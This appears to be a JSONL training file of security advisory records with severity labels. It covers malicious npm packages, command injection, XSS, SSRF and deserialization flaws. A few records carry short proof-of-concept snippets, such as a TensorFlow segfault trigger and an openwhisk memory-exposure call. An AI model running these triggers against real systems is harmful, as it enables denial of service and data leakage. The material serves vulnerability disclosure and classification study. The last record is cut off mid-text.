-{"id": "a9049a691fcff50126d3", "text": "Malicious Package in reqquest\n\nAll versions of `reqquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in reqquest\n\n[Severity: CRITICAL]\n\nAll versions of `reqquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "d53b26ce15b24457cf8f", "text": "Command Injection in ffmpegdotjs\n\nThis affects all versions of package ffmpegdotjs. If attacker-controlled user input is given to the trimvideo function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in ffmpegdotjs\n\n[Severity: CRITICAL]\n\nThis affects all versions of package ffmpegdotjs. If attacker-controlled user input is given to the trimvideo function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "d3411ddf8fbe98aac6df", "text": "Open Redirect in ActionPack\n\n# Overview\n\nThere is a possible open redirect vulnerability in the Host Authorization middleware in Action Pack. This vulnerability has been assigned the CVE identifier CVE-2021-22942.\n\nVersions Affected: >= 6.0.0.\nNot affected: < 6.0.0\nFixed Versions: 6.1.4.1, 6.0.4.1\n\n# Impact\n\nSpecially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.\n\nImpacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:\n\n```ruby\nconfig.hosts <<  '.EXAMPLE.com'\n```\n\nWhen an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.\n\nThis vulnerability is similar to CVE-2021-22881, but CVE-2021-22881 did not take in to account domain name case sensitivity.\n\n# Releases\n\nThe fixed releases are available at the normal locations.\n\n# Workarounds\n\nIn the case a patch can’t be applied, the following monkey patch can be used in an initializer:\n\n```ruby\nmodule ActionDispatch\n  class HostAuthorization\n    HOSTNAME = /[a-z0-9.-]+|\\[[a-f0-9]*:[a-f0-9.:]+\\]/i\n    VALID_ORIGIN_HOST = /\\A(#{HOSTNAME})(?::\\d+)?\\z/\n    VALID_FORWARDED_HOST = /(?:\\A|,[ ]?)(#{HOSTNAME})(?::\\d+)?\\z/\n\nprivate\n      def authorized?(request)\n        origin_host =\n          request.get_header(\"HTTP_HOST\")&.slice(VALID_ORIGIN_HOST, 1) || \"\"\n        forwarded_host =\n          request.x_forwarded_host&.slice(VALID_FORWARDED_HOST, 1) || \"\"\n        @permissions.allows?(origin_host) &&\n          (forwarded_host.blank? || @permissions.allows?(forwarded_host))\n      end\n  end\nend\n```", "text_raw": "Open Redirect in ActionPack\n\n[Severity: MEDIUM]\n\n# Overview\n\nThere is a possible open redirect vulnerability in the Host Authorization middleware in Action Pack. This vulnerability has been assigned the CVE identifier CVE-2021-22942.\n\nVersions Affected: >= 6.0.0.\nNot affected: < 6.0.0\nFixed Versions: 6.1.4.1, 6.0.4.1\n\n# Impact\n\nSpecially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.\n\nImpacted applications will have allowed hosts with a leading dot. For example, configuration files that look like this:\n\n```ruby\nconfig.hosts <<  '.EXAMPLE.com'\n```\n\nWhen an allowed host contains a leading dot, a specially crafted Host header can be used to redirect to a malicious website.\n\nThis vulnerability is similar to CVE-2021-22881, but CVE-2021-22881 did not take in to account domain name case sensitivity.\n\n# Releases\n\nThe fixed releases are available at the normal locations.\n\n# Workarounds\n\nIn the case a patch can’t be applied, the following monkey patch can be used in an initializer:\n\n```ruby\nmodule ActionDispatch\n  class HostAuthorization\n    HOSTNAME = /[a-z0-9.-]+|\\[[a-f0-9]*:[a-f0-9.:]+\\]/i\n    VALID_ORIGIN_HOST = /\\A(#{HOSTNAME})(?::\\d+)?\\z/\n    VALID_FORWARDED_HOST = /(?:\\A|,[ ]?)(#{HOSTNAME})(?::\\d+)?\\z/\n\n    private\n      def authorized?(request)\n        origin_host =\n          request.get_header(\"HTTP_HOST\")&.slice(VALID_ORIGIN_HOST, 1) || \"\"\n        forwarded_host =\n          request.x_forwarded_host&.slice(VALID_FORWARDED_HOST, 1) || \"\"\n        @permissions.allows?(origin_host) &&\n          (forwarded_host.blank? || @permissions.allows?(forwarded_host))\n      end\n  end\nend\n```\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-26", "split": "train"}
-{"id": "7faafca0da923dd85fb8", "text": "Electron protocol handler browser vulnerable to Command Injection\n\nGithub Electron version Electron 1.8.2-beta.4 and earlier contains a Command Injection vulnerability in Protocol Handler that can result in command execute. This attack appear to be exploitable via the victim opening an electron protocol handler in their browser. This vulnerability appears to have been fixed in Electron 1.8.2-beta.5. This issue is due to an incomplete fix for CVE-2018-1000006, specifically the black list used was not case insensitive allowing an attacker to potentially bypass it.", "text_raw": "Electron protocol handler browser vulnerable to Command Injection\n\n[Severity: HIGH]\n\nGithub Electron version Electron 1.8.2-beta.4 and earlier contains a Command Injection vulnerability in Protocol Handler that can result in command execute. This attack appear to be exploitable via the victim opening an electron protocol handler in their browser. This vulnerability appears to have been fixed in Electron 1.8.2-beta.5. This issue is due to an incomplete fix for CVE-2018-1000006, specifically the black list used was not case insensitive allowing an attacker to potentially bypass it.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-26", "split": "train"}
-{"id": "c020a11e1b540481465f", "text": "The reset password form reveal users email address\n\n### Impact\nThe reset password form reveals the email address of users just by giving their username.\n\n### Patches\nThe problem has been patched on XWiki 13.2RC1.\n\n### Workarounds\nIt's possible to manually modify the `resetpasswordinline.vm` to perform the changes made in https://github.com/xwiki/xwiki-platform/commit/0cf716250b3645a5974c80d8336dcdf885749dff#diff-14a3132e3986b1f5606dd13d9d8a8bb8634bec9932123c5e49e9604cfd850fc2\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18400\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xiwki.org)\n* Email us at [Security ML](mailto:security@xwiki.org)", "text_raw": "The reset password form reveal users email address\n\n[Severity: MEDIUM]\n\n### Impact\nThe reset password form reveals the email address of users just by giving their username.\n\n### Patches\nThe problem has been patched on XWiki 13.2RC1.\n\n### Workarounds\nIt's possible to manually modify the `resetpasswordinline.vm` to perform the changes made in https://github.com/xwiki/xwiki-platform/commit/0cf716250b3645a5974c80d8336dcdf885749dff#diff-14a3132e3986b1f5606dd13d9d8a8bb8634bec9932123c5e49e9604cfd850fc2\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18400\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xiwki.org)\n* Email us at [Security ML](mailto:security@xwiki.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "f7331a37bafb5f2a8b7c", "text": "Downloads Resources over HTTP in scala-bin\n\nAffected versions of `scala-bin` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `scala-bin`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in scala-bin\n\n[Severity: HIGH]\n\nAffected versions of `scala-bin` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `scala-bin`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "3b9e2024e7e7c23060f6", "text": "PgHero gem allows CSRF\n\nThe PgHero gem through 2.6.0 for Ruby allows CSRF. PgHero normally uses the `protect_from_forgery` method from Rails to prevent CSRF. However, this defaults to `:null_session`, which has no effect on non-session based authentication methods. Thus the ruby gem is vulnerable with non-session based authentication methods like basic authentication.", "text_raw": "PgHero gem allows CSRF\n\n[Severity: HIGH]\n\nThe PgHero gem through 2.6.0 for Ruby allows CSRF. PgHero normally uses the `protect_from_forgery` method from Rails to prevent CSRF. However, this defaults to `:null_session`, which has no effect on non-session based authentication methods. Thus the ruby gem is vulnerable with non-session based authentication methods like basic authentication.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "4de5c7ec80c094c7098d", "text": "Unchecked hostname resolution could allow access to local network resources by users outside the local network\n\n### Impact\nA newly implemented route allowing users to download files from remote endpoints was not properly verifying the destination hostname for user provided URLs. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.\n\nThis vulnerability requires valid authentication credentials and is therefore **not exploitable by unauthenticated users**. If you are running an instance for yourself or other trusted individuals this impact is unlikely to be of major concern to you. However, you should still upgrade for security sake.\n\n### Patches\nUsers should upgrade to the latest version of Wings.\n\n### Workarounds\nThere is no workaround available that does not involve modifying Panel or Wings code.", "text_raw": "Unchecked hostname resolution could allow access to local network resources by users outside the local network\n\n[Severity: MEDIUM]\n\n### Impact\nA newly implemented route allowing users to download files from remote endpoints was not properly verifying the destination hostname for user provided URLs. This would allow malicious users to potentially access resources on local networks that would otherwise be inaccessible.\n\nThis vulnerability requires valid authentication credentials and is therefore **not exploitable by unauthenticated users**. If you are running an instance for yourself or other trusted individuals this impact is unlikely to be of major concern to you. However, you should still upgrade for security sake.\n\n### Patches\nUsers should upgrade to the latest version of Wings.\n\n### Workarounds\nThere is no workaround available that does not involve modifying Panel or Wings code.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "90fb60f8fc97cff1d9dd", "text": "Deserialization of Untrusted Data in Archive_Tar\n\nArchive_Tar through 1.4.10 allows an unserialization attack because `phar:` is blocked but `PHAR:` is not blocked. See: https://github.com/pear/Archive_Tar/issues/33", "text_raw": "Deserialization of Untrusted Data in Archive_Tar\n\n[Severity: HIGH]\n\nArchive_Tar through 1.4.10 allows an unserialization attack because `phar:` is blocked but `PHAR:` is not blocked. See: https://github.com/pear/Archive_Tar/issues/33", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "8770327ce720293a1988", "text": "Improper Locking in Apache Tomcat\n\nThe fix for CVE-2019-0199 was incomplete and did not address HTTP/2 connection window exhaustion on write in Apache Tomcat versions 9.0.0.M1 to 9.0.19 and 8.5.0 to 8.5.40 . By not sending WINDOW_UPDATE messages for the connection window (stream 0) clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.", "text_raw": "Improper Locking in Apache Tomcat\n\n[Severity: HIGH]\n\nThe fix for CVE-2019-0199 was incomplete and did not address HTTP/2 connection window exhaustion on write in Apache Tomcat versions 9.0.0.M1 to 9.0.19 and 8.5.0 to 8.5.40 . By not sending WINDOW_UPDATE messages for the connection window (stream 0) clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-26", "split": "train"}
-{"id": "0e459ecd91f5df24b07d", "text": "Malicious Package in buffez-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffez-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "30c823d66f5230c69fe2", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 and 2.6.7.4 mishandles the interaction between serialization gadgets and typing, related to com.caucho.config.types.ResourceRef (aka caucho-quercus).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 and 2.6.7.4 mishandles the interaction between serialization gadgets and typing, related to com.caucho.config.types.ResourceRef (aka caucho-quercus).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "f082ce3ca9603c149866", "text": "Cross-Site Scripting in emojione\n\nAffected versions of `emojione` are vulnerable to cross-site scripting when user input is passed into the `toShort()`, `shortnameToImage()`, `unicodeToImage()`, and `toImage()` functions.\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "text_raw": "Cross-Site Scripting in emojione\n\n[Severity: HIGH]\n\nAffected versions of `emojione` are vulnerable to cross-site scripting when user input is passed into the `toShort()`, `shortnameToImage()`, `unicodeToImage()`, and `toImage()` functions.\n\n\n\n## Recommendation\n\nUpdate to version 1.3.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "2f1122e05eff9f694356", "text": "Deserialization of untrusted data in Jackson Databind\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oracle.jms.AQjmsQueueConnectionFactory, oracle.jms.AQjmsXATopicConnectionFactory, oracle.jms.AQjmsTopicConnectionFactory, oracle.jms.AQjmsXAQueueConnectionFactory, and oracle.jms.AQjmsXAConnectionFactory (aka weblogic/oracle-aqjms).", "text_raw": "Deserialization of untrusted data in Jackson Databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.5 mishandles the interaction between serialization gadgets and typing, related to oracle.jms.AQjmsQueueConnectionFactory, oracle.jms.AQjmsXATopicConnectionFactory, oracle.jms.AQjmsTopicConnectionFactory, oracle.jms.AQjmsXAQueueConnectionFactory, and oracle.jms.AQjmsXAConnectionFactory (aka weblogic/oracle-aqjms).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "cb4741ff793131d33baf", "text": "EdrawSoft Office Viewer Component ActiveX 5.6 (officeviewermme.ocx) BoF PoC", "text_raw": "EdrawSoft Office Viewer Component ActiveX 5.6 (officeviewermme.ocx) BoF PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-01-31", "split": "train"}
-{"id": "dd30881f4c9bbe4036df", "text": "Ivanti Pulse Connect Secure Command Injection Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains a command injection vulnerability that allows remote authenticated users to perform remote code execution via Windows File Resource Profiles.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-77\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Command Injection Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains a command injection vulnerability that allows remote authenticated users to perform remote code execution via Windows File Resource Profiles.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-77\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1b11a3cda614a28832e0", "text": "Remote Memory Exposure in openwhisk\n\nVersions of `openwhisk` before 3.3.1 are vulnerable to remote memory exposure.\n\nWhen a number is passed to `api_key`, affected versions of `openwhisk` allocate an uninitialized buffer and send that over network in Authorization header (base64-encoded).\n\nProof of concept:\n\n```js\nvar openwhisk = require('openwhisk');\nvar options = {\n  apihost: '127.0.0.1:1433', \n  api_key: USERSUPPLIEDINPUT // number\n};\nvar ow = openwhisk(options);\now.actions.invoke({actionName: 'sample'}).then(result => console.log(result))\n```\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.", "text_raw": "Remote Memory Exposure in openwhisk\n\n[Severity: MEDIUM]\n\nVersions of `openwhisk` before 3.3.1 are vulnerable to remote memory exposure.\n\nWhen a number is passed to `api_key`, affected versions of `openwhisk` allocate an uninitialized buffer and send that over network in Authorization header (base64-encoded).\n\nProof of concept:\n\n```js\nvar openwhisk = require('openwhisk');\nvar options = {\n  apihost: '127.0.0.1:1433', \n  api_key: USERSUPPLIEDINPUT // number\n};\nvar ow = openwhisk(options);\now.actions.invoke({actionName: 'sample'}).then(result => console.log(result))\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a57ac3e538bdb9b20d2e", "text": "Oreans Themida v2.1.8.0 TMD File Handling Buffer Overflow Vulnerability", "text_raw": "Oreans Themida v2.1.8.0 TMD File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-03-20", "split": "train"}
-{"id": "d68b33ec5930d0febedb", "text": "Segfault in `CTCBeamSearchDecoder`\n\n### Impact\nDue to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)\nsequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],\nshape=[8], dtype=tf.int32)\nbeam_width = 10\ntop_paths = 3\nmerge_repeated = True\n\ntf.raw_ops.CTCBeamSearchDecoder(\n  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,\n  top_paths=top_paths, merge_repeated=merge_repeated)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79) fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.\n\n### Patches\nWe have patched the issue in GitHub commit [b1b323042264740c398140da32e93fb9c2c9f33e](https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Segfault in `CTCBeamSearchDecoder`\n\n[Severity: LOW]\n\n### Impact\nDue to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)\nsequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],\nshape=[8], dtype=tf.int32)\nbeam_width = 10\ntop_paths = 3\nmerge_repeated = True\n\ntf.raw_ops.CTCBeamSearchDecoder(\n  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,\n  top_paths=top_paths, merge_repeated=merge_repeated)\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7/tensorflow/core/kernels/ctc_decoder_ops.cc#L68-L79) fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.\n  \n### Patches\nWe have patched the issue in GitHub commit [b1b323042264740c398140da32e93fb9c2c9f33e](https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "8689667a476172b39bf1", "text": "Data races in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via UnlockNotification.", "text_raw": "Data races in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via UnlockNotification.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "36fffcd7daeb2d271b32", "text": "Cross-Site Scripting in console-feed\n\nVersions of `console-feed` prior to 2.8.10 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape the rendered output. If an application uses `console-feed` and a malicious JavaScript payload was passed to a `console.log('%_', payload)` call, the package would render HTML containing the malicious payload.\n\n## Recommendation\n\nUpgrade to version 2.8.10 or later.", "text_raw": "Cross-Site Scripting in console-feed\n\n[Severity: HIGH]\n\nVersions of `console-feed` prior to 2.8.10 are vulnerable to Cross-Site Scripting (XSS). The package fails to properly escape the rendered output. If an application uses `console-feed` and a malicious JavaScript payload was passed to a `console.log('%_', payload)` call, the package would render HTML containing the malicious payload.\n\n\n## Recommendation\n\nUpgrade to version 2.8.10 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b082d0913e2ac6d09ab9", "text": "SSRF in Rendertron\n\nRendertron versions prior to 3.0.0 are are susceptible to a Server-Side Request Forgery (SSRF) attack. An attacker can use a specially crafted webpage to force a rendertron headless chrome process to render internal sites it has access to, and display it as a screenshot. Suggested mitigations are to upgrade your rendertron to version 3.0.0, or, if you cannot update, to secure the infrastructure to limit the headless chrome's access to your internal domain.", "text_raw": "SSRF in Rendertron\n\n[Severity: MEDIUM]\n\nRendertron versions prior to 3.0.0 are are susceptible to a Server-Side Request Forgery (SSRF) attack. An attacker can use a specially crafted webpage to force a rendertron headless chrome process to render internal sites it has access to, and display it as a screenshot. Suggested mitigations are to upgrade your rendertron to version 3.0.0, or, if you cannot update, to secure the infrastructure to limit the headless chrome's access to your internal domain.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "88a01d26f5f85e546c18", "text": "Data leakage via cache key collision in Django\n\nAn issue was discovered in Django version 2.2 before 2.2.13 and 3.0 before 3.0.7. In cases where a memcached backend does not perform key validation, passing malformed cache keys could result in a key collision, and potential data leakage.", "text_raw": "Data leakage via cache key collision in Django\n\n[Severity: HIGH]\n\nAn issue was discovered in Django version 2.2 before 2.2.13 and 3.0 before 3.0.7. In cases where a memcached backend does not perform key validation, passing malformed cache keys could result in a key collision, and potential data leakage.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "e558d11ea1bcaf566685", "text": "Prototype Pollution in lodash\n\nVersions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.\n\nThis vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.", "text_raw": "Prototype Pollution in lodash\n\n[Severity: HIGH]\n\nVersions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions `pick`, `set`, `setWith`, `update`, `updateWith`, and `zipObjectDeep` allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.\n\nThis vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-15", "split": "train"}
-{"id": "3fb1b7323702eaf4537a", "text": "Cross-site scripting in Apache JSPWiki\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the plain editor, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "text_raw": "Cross-site scripting in Apache JSPWiki\n\n[Severity: MEDIUM]\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the plain editor, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "9f832ed948355285b41f", "text": "XSS/Script injection vulnerability in matestack\n\nmatestack-ui-core (RubyGem) before 0.7.4 is vulnerable to XSS/Script injection.\n\nThis vulnerability is patched in version 0.7.4.", "text_raw": "XSS/Script injection vulnerability in matestack\n\n[Severity: HIGH]\n\nmatestack-ui-core (RubyGem) before 0.7.4 is vulnerable to XSS/Script injection.\n\nThis vulnerability is patched in version 0.7.4.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
-{"id": "b3769f89673ec252a5ad", "text": "Serviio PRO 1.8 DLNA Media Streaming Server Local Privilege Escalation", "text_raw": "Serviio PRO 1.8 DLNA Media Streaming Server Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-05-03", "split": "train"}
-{"id": "c8d882a8e5ac92e5ae76", "text": "Out-of-bounds read/write and invalid free with `externref`s and GC safepoints in Wasmtime\n\n### Impact\n\nThere was an invalid free and out-of-bounds read and write bug when running Wasm that uses `externref`s in Wasmtime.\n\nTo trigger this bug, Wasmtime needs to be running Wasm that uses `externref`s, the host creates non-null `externrefs`, Wasmtime performs a garbage collection (GC), and there has to be a Wasm frame on the stack that is at a GC safepoint where\n\n* there are no live references at this safepoint, and\n* there is a safepoint with live references earlier in this frame's function.\n\nUnder this scenario, Wasmtime would incorrectly use the GC stack map for the safepoint from earlier in the function instead of the empty safepoint. This would result in Wasmtime treating arbitrary stack slots as `externref`s that needed to be rooted for GC. At the *next* GC, it would be determined that nothing was referencing these bogus `externref`s (because nothing could ever reference them, because they are not really `externref`s) and then Wasmtime would deallocate them and run `<ExternRef as Drop>::drop` on them. This results in a free of memory that is not necessarily on the heap (and shouldn't be freed at this moment even if it was), as well as potential out-of-bounds reads and writes.\n\nEven though support for `externref`s (via the reference types proposal) is enabled by default, unless you are creating non-null `externref`s in your host code or explicitly triggering GCs, you cannot be affected by this bug.\n\nWe have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.\n\n### Patches\n\nThis bug has been patched and users should upgrade to Wasmtime version 0.30.0.\n\nAdditionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime at this time, you can avoid this bug by disabling the reference types proposal by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types)\n\n### References\n\n* [The Wasm reference types proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "text_raw": "Out-of-bounds read/write and invalid free with `externref`s and GC safepoints in Wasmtime \n\n[Severity: MEDIUM]\n\n### Impact\n\nThere was an invalid free and out-of-bounds read and write bug when running Wasm that uses `externref`s in Wasmtime.\n\nTo trigger this bug, Wasmtime needs to be running Wasm that uses `externref`s, the host creates non-null `externrefs`, Wasmtime performs a garbage collection (GC), and there has to be a Wasm frame on the stack that is at a GC safepoint where\n\n* there are no live references at this safepoint, and\n* there is a safepoint with live references earlier in this frame's function.\n\nUnder this scenario, Wasmtime would incorrectly use the GC stack map for the safepoint from earlier in the function instead of the empty safepoint. This would result in Wasmtime treating arbitrary stack slots as `externref`s that needed to be rooted for GC. At the *next* GC, it would be determined that nothing was referencing these bogus `externref`s (because nothing could ever reference them, because they are not really `externref`s) and then Wasmtime would deallocate them and run `<ExternRef as Drop>::drop` on them. This results in a free of memory that is not necessarily on the heap (and shouldn't be freed at this moment even if it was), as well as potential out-of-bounds reads and writes.\n\nEven though support for `externref`s (via the reference types proposal) is enabled by default, unless you are creating non-null `externref`s in your host code or explicitly triggering GCs, you cannot be affected by 